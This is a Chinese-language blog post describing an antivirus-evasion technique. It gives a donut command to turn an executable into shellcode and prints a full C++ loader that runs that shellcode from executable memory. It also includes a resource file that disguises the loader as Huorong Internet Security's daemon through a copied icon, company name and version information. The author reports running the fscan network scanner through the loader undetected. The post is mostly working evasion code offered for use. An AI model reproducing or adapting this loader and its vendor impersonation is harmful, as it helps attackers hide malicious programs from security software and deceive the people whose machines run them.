/1dreamGN/Blog

1dreamGN

一种老生常谈却又很新颖的恶意程序免杀方式

2025-12-03

前言

起源于群友分享了一个披了火绒的皮的程序加载器,可以加载恶意程序的shellcode到内存中运行从而绕过大部分杀软,就想着也做一个加载器尝试一下。

过程

首先,先让应用程序转换为hex编码,使用donut.exe可将应用程序转换为hex编码并输出到文件中。首先,先将需要转换编码的应用程序转换成hex:

.\donut.exe -i suo5-gui-windows.exe -o data.hex -f 8 -a 2

文件夹中生成data.hex

生成完毕后,写一段用c++编写的加载器代码,直接用AI生成,bug自己再微调下,代码功能主要是读取同目录下data.hex文件并加载hex编码到内存中,如果运行该加载器的时,程序在不带参数运行时直接执行 data.hex 文件中的代码,带参数运行时则将参数传递给 data.hex 文件中的代码执行。

#include <windows.h>
#include <vector>
#include <string>
#include <iostream>
#include <fstream>
#include <sstream>

// 设置控制台代码页为 UTF-8
void SetConsoleUTF8() {
    SetConsoleOutputCP(CP_UTF8);
    SetConsoleCP(CP_UTF8);
}

// 辅助函数:过滤非 Hex 字符
bool IsHexChar(char c) {
    return (c >= '0' && c <= '9') || 
           (c >= 'a' && c <= 'f') || 
           (c >= 'A' && c <= 'F');
}

// 辅助函数:将单个 hex 字符转换为整数
unsigned char HexCharToByte(char c) {
    if (c >= '0' && c <= '9') return c - '0';
    if (c >= 'a' && c <= 'f') return c - 'a' + 10;
    if (c >= 'A' && c <= 'F') return c - 'A' + 10;
    return 0;
}

// 将 Hex 字符串转换为 Bytes
std::vector<unsigned char> HexToBytes(const std::string& hex) {
    std::vector<unsigned char> bytes;
    std::string cleanHex;
    
    // 预处理:只保留十六进制字符
    for (char c : hex) {
        if (IsHexChar(c)) {
            cleanHex += c;
        }
    }

    if (cleanHex.length() % 2 != 0) {
        std::cerr << "[!] 错误: Hex 字符串长度不是偶数." << std::endl;
        return bytes;
    }

    bytes.reserve(cleanHex.length() / 2);
    for (size_t i = 0; i < cleanHex.length(); i += 2) {
        unsigned char high = HexCharToByte(cleanHex[i]);
        unsigned char low = HexCharToByte(cleanHex[i+1]);
        bytes.push_back((high << 4) | low);
    }

    return bytes;
}

// 从文件加载数据
std::vector<unsigned char> LoadDataFromFile(const std::string& filename) {
    std::ifstream file(filename, std::ios::binary);
    if (!file.is_open()) {
        std::cerr << "[!] 错误: 无法打开文件 " << filename << std::endl;
        return std::vector<unsigned char>();
    }

    // 读取整个文件内容
    std::stringstream buffer;
    buffer << file.rdbuf();
    std::string content = buffer.str();
    
    file.close();
    
    // 转换为字节向量
    return HexToBytes(content);
}

// 构建命令行参数字符串
std::string BuildCommandLine(int argc, char* argv[]) {
    std::string cmdLine;

    // 跳过程序名,从第一个参数开始
    for (int i = 1; i < argc; i++) {
        if (i > 1) {
            cmdLine += " ";
        }
        cmdLine += argv[i];
    }

    return cmdLine;
}

// 执行内存中的代码
bool ExecuteCode(const std::vector<unsigned char>& codeData, const std::string& arguments) {
    if (codeData.empty()) {
        std::cerr << "[!] 错误: 空的数据." << std::endl;
        return false;
    }

    // 分配内存
    void* exec_mem = VirtualAlloc(nullptr, codeData.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec_mem) {
        std::cerr << "[!] 错误: 内存分配失败." << std::endl;
        return false;
    }

    // 复制数据到分配的内存
    memcpy(exec_mem, codeData.data(), codeData.size());

    // 如果有参数,将其复制到可执行内存附近
    void* arg_mem = nullptr;
    if (!arguments.empty()) {
        size_t argLen = arguments.length() + 1;
        arg_mem = VirtualAlloc(nullptr, argLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (arg_mem) {
            memcpy(arg_mem, arguments.c_str(), argLen);
        }
    }

    std::cout << "[*] 正在执行代码..." << std::endl;
    if (!arguments.empty()) {
        std::cout << "[*] 参数: " << arguments << std::endl;
    }

    // 创建线程执行代码
    HANDLE hThread = CreateThread(
        nullptr, 
        0, 
        (LPTHREAD_START_ROUTINE)exec_mem, 
        arg_mem, 
        0, 
        nullptr
    );

    if (!hThread) {
        std::cerr << "[!] 错误: 创建线程失败." << std::endl;
        VirtualFree(exec_mem, 0, MEM_RELEASE);
        if (arg_mem) VirtualFree(arg_mem, 0, MEM_RELEASE);
        return false;
    }

    // 等待线程完成
    WaitForSingleObject(hThread, INFINITE);
    
    // 清理
    CloseHandle(hThread);
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    if (arg_mem) VirtualFree(arg_mem, 0, MEM_RELEASE);
    
    return true;
}


int main(int argc, char* argv[]) {
    // 设置控制台编码为 UTF-8
    SetConsoleUTF8();
    
    // 构建命令行参数字符串
    std::string arguments = BuildCommandLine(argc, argv);
    
    std::cout << "[*] 正在从 data.hex 文件加载数据" << std::endl;
    
    // 从文件加载数据
    std::vector<unsigned char> codeData = LoadDataFromFile("data.hex");
    if (codeData.empty()) {
        std::cerr << "[!] 错误: 从文件加载数据失败." << std::endl;
        return 1;
    }
    
    std::cout << "[*] 数据加载成功. 大小: " << codeData.size() << " 字节." << std::endl;
    
    // 执行代码
    if (!ExecuteCode(codeData, arguments)) {
        std::cerr << "[!] 错误: 执行代码失败." << std::endl;
        return 1;
    }
    
    std::cout << "[*] 执行完成." << std::endl;
    return 0;
}

新建resource.rc文件,在文件中添加火绒的ico图标,并添加火绒的应用信息。

#include <windows.h>

1 ICON "ScanVirus.ico" // 如果你有火绒的图标,取消注释并将图标文件命名为 huorong.ico 放在同目录下

VS_VERSION_INFO VERSIONINFO
FILEVERSION     5,0,70,8
PRODUCTVERSION  5,0,70,8
FILEFLAGSMASK   0x3fL
#ifdef _DEBUG
FILEFLAGS       0x1L
#else
FILEFLAGS       0x0L
#endif
FILEOS          0x40004L
FILETYPE        0x1L
FILESUBTYPE     0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "080404b0" // 中文(简体), Unicode
        BEGIN
            VALUE "CompanyName",      "Huorong Security Network Technology Co., Ltd."
            VALUE "FileDescription",  "Huorong Internet Security Daemon"
            VALUE "FileVersion",      "5.0.70.8"
            VALUE "InternalName",     "HipsDaemon"
            VALUE "LegalCopyright",   "Copyright (C) Huorong Security. All rights reserved."
            VALUE "OriginalFilename", "HipsDaemon.exe"
            VALUE "ProductName",      "Huorong Internet Security"
            VALUE "ProductVersion",   "5.0.70.8"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x804, 1200
    END
END

使用Visual Studio 2022打开,从现有代码创建项目,查看会否有问题,没问题可直接编译。

在编译的过程中可能会产生各种各样的报错,可以将报错扔给AI解决,主要是vs配置的问题。

生成项目,将项目重命名为火绒杀毒或者其他的都行,把data.hex拉到同级目录运行测试下。

先看看应用属性。

打开cmd,运行exe。

进程为火绒。

试试fscan,给加载器传参数 -h 127.0.0.1,下面的杀软没问题。

最后

很类似cs分离免杀的绕过方式,老生常谈却又很新颖。